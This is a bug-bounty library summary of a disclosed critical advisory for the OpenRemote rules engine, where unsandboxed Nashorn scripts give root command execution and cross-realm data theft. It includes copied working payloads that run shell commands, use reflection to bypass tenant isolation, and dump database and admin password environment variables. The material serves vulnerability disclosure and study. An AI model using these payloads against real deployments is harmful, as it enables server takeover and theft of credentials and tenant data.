# Expression Injection in OpenRemote

OpenRemote rules engine runs user-supplied Nashorn JavaScript unsandboxed; any write:rules user achieves root RCE and cross-realm data theft.

- Payout: Research
- Severity: critical
- Program: OpenRemote
- Found by: qxyuan853
- Disclosed: 2026-04-14
- CVE: CVE-2026-39842
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-7mqr-33rv-p3mp
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-7mqr-33rv-p3mp
- Tags: area:web domain:web impact:data-leak impact:rce kind:research platform:ghsa sev:critical tech:java technique:source-review vuln:access-control vuln:auth-bypass vuln:info-disclosure vuln:rce

**Target:** OpenRemote manager rules engine (REST /api/{realm}/rules endpoints, Nashorn/Groovy ScriptEngine)
**Root cause:** RulesResourceImpl only blocks GROOVY for non-superusers, leaving JAVASCRIPT unrestricted; compileRulesJavascript obtains a Nashorn engine via ScriptEngineManager with no ClassFilter and evals attacker script. Groovy's DenyAll sandbox registration is commented out, making SandboxTransformer a no-op.
**Steps:**
1. Authenticate as a non-superuser holding `write:rules` in realm A.
2. POST `/api/realma/rules/realm` with body `{"type":"realm","lang":"JAVASCRIPT","rules":"<script>",...}`.
3. Script uses `Java.type("java.lang.Runtime").getRuntime().exec(...)` to run OS commands; response HTTP 200 and rule deploys.
4. For cross-realm theft, reflect into the bound `assets` AssetsFacade: `clazz.getDeclaredField("assetStorageService")`, `setAccessible(true)`, then `storageService.findAll(q)` with `q.realm = new RealmPredicate("realmb")`.
5. Read results from manager logs (LOG.info) confirming uid=0, /etc/passwd, env vars, and Realm B secrets.
**How found:** Source review of the rules engine: noticed the authorization check only special-cases GROOVY, then traced the persistence-event-to-deployment flow to compileRulesJavascript, spotting the TODO sandbox comment, missing ClassFilter, and direct eval of ruleset.getRules(). Also noticed the commented-out `new DenyAll().register()` in the Groovy path.
**Exploitation:** Attacker with write:rules submits a JavaScript ruleset; persistence event triggers RulesService to deploy and eval the script in-process. Payloads used Java.type to exec `sh -c 'id && hostname && uname -a'` (ran as root), read /etc/passwd, dump env vars (DB host/user, Keycloak config), and use reflection on AssetsFacade to bypass realm isolation and exfiltrate all assets across all realms including master.
**Escalation:** Chained RCE with reflection-based bypass of AssetsFacade realm enforcement and excludeAttributes(), turning a single-tenant rule-write role into full server compromise and cross-tenant data theft.
**Insight:** When an authz check enumerates one dangerous value (e.g. `lang == GROOVY`), check whether sibling enum values reach the same sink; and in JVM scripting sinks, absence of a Nashorn ClassFilter plus a `TODO sandbox` comment is a reliable RCE indicator. Bound facade objects can be reflected into to reach internal services that skip tenant filters.

## Proof of concept (copied exactly from the original report)

**JavaScript RCE payload via rules API**

```
var Runtime = Java.type("java.lang.Runtime");
var Scanner = Java.type("java.util.Scanner");
var cmd = Java.to(["sh", "-c", "id && hostname && uname -a"], "java.lang.String[]");
var proc = Runtime.getRuntime().exec(cmd);
proc.waitFor();
var s = new Scanner(proc.getInputStream()).useDelimiter("\\A");
var output = s.hasNext() ? s.next() : "(empty)";
LOG.info("[EXPLOIT-RCE] Command output: " + output);
var rules = [];
```

**Cross-realm asset theft via reflection**

```
// Extract internal AssetStorageService via reflection
var facadeObj = assets;
var clazz = facadeObj.getClass();
var storageField = clazz.getDeclaredField("assetStorageService");
storageField.setAccessible(true);
var storageService = storageField.get(facadeObj);

// Query Realm B directly — bypassing facade realm enforcement
var AssetQuery = Java.type("org.openremote.model.query.AssetQuery");
var RealmPredicate = Java.type("org.openremote.model.query.filter.RealmPredicate");
var q = new AssetQuery();
q.realm = new RealmPredicate("realmb");
var stolenAssets = storageService.findAll(q);
// Iterate and dump all attribute values...
var rules = [];
```

**Environment variable theft payload**

```
var System = Java.type("java.lang.System");
var env = System.getenv();
LOG.info("[EXPLOIT-ENV] === ENVIRONMENT VARIABLE THEFT ===");
var keys = ["OR_DB_HOST","OR_DB_PORT","OR_DB_NAME","OR_DB_USER","OR_DB_PASSWORD",
            "KEYCLOAK_ADMIN_PASSWORD","OR_ADMIN_PASSWORD","OR_HOSTNAME","JAVA_HOME"];
for (var i = 0; i < keys.length; i++) {
  var v = env.get(keys[i]);
  if (v != null) LOG.info("[EXPLOIT-ENV] " + keys[i] + " = " + v);
}
var rules = [];
```

